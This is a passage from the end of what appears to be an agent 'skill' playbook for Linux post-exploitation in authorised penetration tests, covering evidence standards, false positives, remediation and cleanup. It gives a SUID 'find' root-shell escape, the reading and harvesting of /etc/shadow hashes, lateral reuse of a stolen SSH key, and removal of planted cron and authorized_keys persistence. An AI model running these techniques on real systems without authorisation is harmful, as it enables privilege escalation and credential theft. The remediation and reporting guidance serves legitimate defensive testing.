print("  crontab -l | grep -v pentest | crontab -")
print("  sed -i '/pentest/d' ~/.ssh/authorized_keys")
print("  then re-run all three queries and show them empty")
PY
```

**Identity, control, artefact, revert.** Four parts, and a Linux report missing the control cannot
distinguish root from a user with a capability.

---

## 9. EVIDENCE STANDARD — CHAIN ARTEFACTS

| Item | Why |
|---|---|
| The **identity and capability set** from the host's own tools | the starting privilege |
| The **control read that failed** before the escalation | proves escalation |
| The **boundary crossed, named** (root, CAP_SYS_ADMIN, container, another user) | they are not interchangeable |
| The **credential artefact** and where it can be used | local vs cloud vs lateral, the severity driver |
| For container escape: the **host file actually read** | the escape, proved |
| For persistence: the **marker that proves execution** | installation is not execution |
| The **audit records** (systemd, cron, `auth.log`, auditd) the client should hunt | the blue-team half |
| The **exact revert command and its empty verification query** | engagement integrity |
| The **kernel and distribution version**, because local exploits are version-bounded | applicability |
| Confirmation that no **credential material** is reproduced beyond what the client needs | data minimisation |

Report the **boundary and the read**: "as `www-data` with `CapEff: 0000000000000000`, `cat /etc/shadow`
returned `Permission denied` and `ls /root/.ssh` returned `Permission denied`, which are the controls.
The host ran a `find` binary with the SUID bit set; `/usr/bin/find . -exec /bin/sh -p \; -quit`
returned `uid=0(root) gid=0(root)`, and after that `/etc/shadow` was readable and yielded 4 hashes in
the `$6$` format. The `~/.ssh/id_rsa` of the `deploy` user had mode 0600 but was readable as root, and
it authenticated to `HOST02` as `deploy`, showing the key's reach is at least two hosts. The SUID
binary was left as found - it is the client's misconfiguration, not an artefact we introduced",
never "the host is compromised".

### False positives - do not report these

| Observation | Why it is not a finding |
|---|---|
| A SUID binary **you never exercised** | a hardening note; exercise it or report it as exposure |
| A shell on the host with **no escalation and no credential** | a foothold, not a finding |
| `id` returning root because **you were given root access** | the engagement baseline |
| A credential read at **your own privilege level** | no escalation |
| A cron script writable **by root only** | not a path |
| A container escape **with no host credential obtained** | state the reach honestly |
| A local kernel exploit that **crashed the host** | an availability risk, not a proven escalation |
| A hash that **cracks to nothing** | report the hash's provenance, not a guess |
| `SSH_AUTH_SOCK` present but **the agent refuses to sign** | no usable credential |
| A container `kubeconfig` read but **never used** | use it, or report it as exposure without access |
| A recovered password or private key reproduced in full | a disclosure |

**Boundary, control, artefact.** A Linux post-exploitation report fails when it lists a shell as the
finding.

---

## 10. REMEDIATION REFERENCE

1. **Audit every SUID and SGID binary against GTFOBins, and remove the bit from anything not required** - the SUID inventory is the single highest-yield Linux escalation list.
2. **Drop capabilities from binaries and containers, and never grant `cap_setuid`, `cap_setgid`, or `cap_sys_admin` unnecessarily** - the capability path is quieter than SUID and equally effective.
3. **Remove `NOPASSWD` from `sudoers` and never `env_keep` `LD_PRELOAD` or `LD_LIBRARY_PATH`** - these two rules turn a constrained `sudo` into a root shell.
4. **Restrict the docker group, and treat it as equivalent to root in the access model** - a docker-group member has a documented path to host root and it is one command long.
5. **Use `nodev`, `nosuid`, and `noexec` on user-writable mounts, and prefer SMB 3.1.1 with signing to `no_root_squash`** - the NFS and mount paths in this document begin with one of those absences.
6. **Restrict `/etc/shadow` to root with 0640, and use a modern hash (yescrypt or argon2) with the shortest work factor the hardware allows** - it changes both what a read yields and its cracking cost.
7. **Rotate and short-live every SSH key, use certificates, and require a passphrase with an agent that does not leave the key on disk** - the key file is the lateral-movement artefact in most Linux engagements.
8. **Never store credentials in shell history, config files, or world-readable locations; use a vault or short-lived tokens** - the `grep` in 8.3 finds them in minutes and so does any attacker.
9. **Enable `auditd` with rules for `execve`, `/etc/shadow` reads, and `authorized_keys` writes, and ship the log off-host** - every technique in this document generates an audit record on a configured host.
10. **Keep the kernel and the container runtime patched, and verify that recent local privilege-escalation CVEs do not apply** - the kernel path is version-bounded and the check is one command.
11. **Segment the estate so a single host credential does not reach multiple hosts, and use per-host keys** - the reach of a harvested key is the actual severity.

---

## 11. RELATED SIBLINGS - LOAD TOGETHER

- [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) - how the initial boundary here is crossed
- [linux-lateral-movement](../linux-lateral-movement/SKILL.md) - the reach of the credential this document harvests
- [container-escape-techniques](../container-escape-techniques/SKILL.md) - the container-to-host path in full
- [cloud-assessment](../cloud-assessment/SKILL.md) - where the `~/.aws` and metadata credentials lead
- [windows-postexploit](../windows-postexploit/SKILL.md) - the sibling endpoint playbook with the same evidence discipline

---

## SELF-VERIFY — linux-postexploit

```bash
wc -c SKILL.md                                   # expect 30000-38000
grep -c '^## ' SKILL.md                          # expect 12 topological sections
grep -oE '\]\(\.\./[^)]+\)' SKILL.md | tr -d '](' | sed 's/)$//' | sort -u | while read p; do
  [ -f "../$p" ] && echo "OK   $p" || echo "DEAD $p"; done
for t in 'id' 'unshare -Ur' 'nosuid' 'sudo -n -l' 'getcap -r /' 'find / -xdev -perm -4000' \
         'docker' 'lxd' 'cap_setuid' 'GTFOBins' 'LD_PRELOAD' 'root_squash' 'auditd' 'T1548.003' \
         'T1548.001' 'T1068' 'T1611'; do
  grep -q "$t" SKILL.md && echo "PASS $t" || echo "MISS $t"; done
```
